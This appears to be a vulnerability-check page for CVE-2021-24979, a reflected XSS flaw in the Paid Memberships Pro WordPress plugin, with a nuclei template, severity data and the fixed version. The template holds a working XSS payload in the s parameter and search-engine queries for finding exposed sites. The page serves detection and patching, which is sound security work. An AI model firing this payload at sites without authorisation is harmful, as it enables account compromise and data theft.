Paid Memberships Pro < 2.6.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

Impact

Attackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing membership data.

Fix

version 2.6.6

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)//
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//") and contains(body_2, "Paid Memberships Pro - M…

Run it with nuclei: nuclei -id CVE-2021-24979 -u <target>

The full check

id: CVE-2021-24979

info:
  name: Paid Memberships Pro < 2.6.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing membership data.
  remediation: version 2.6.6
  reference:
    - https://wpscan.com/vulnerability/fc011990-4ec1-4553-901d-4ff1f482cb79
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24979
    - https://plugins.trac.wordpress.org/changeset/2632369/paid-memberships-pro/tags/2.6.6/adminpages/discountcodes.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24979
    cwe-id: CWE-79
    epss-score: 0.01654
    epss-percentile: 0.76769
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: cve2021,cve,wp,wordpress,wpscan,wp-plugin,xss,authenticated,strangerstudios,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Paid Memberships Pro - Membership Plugin for WordPress")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from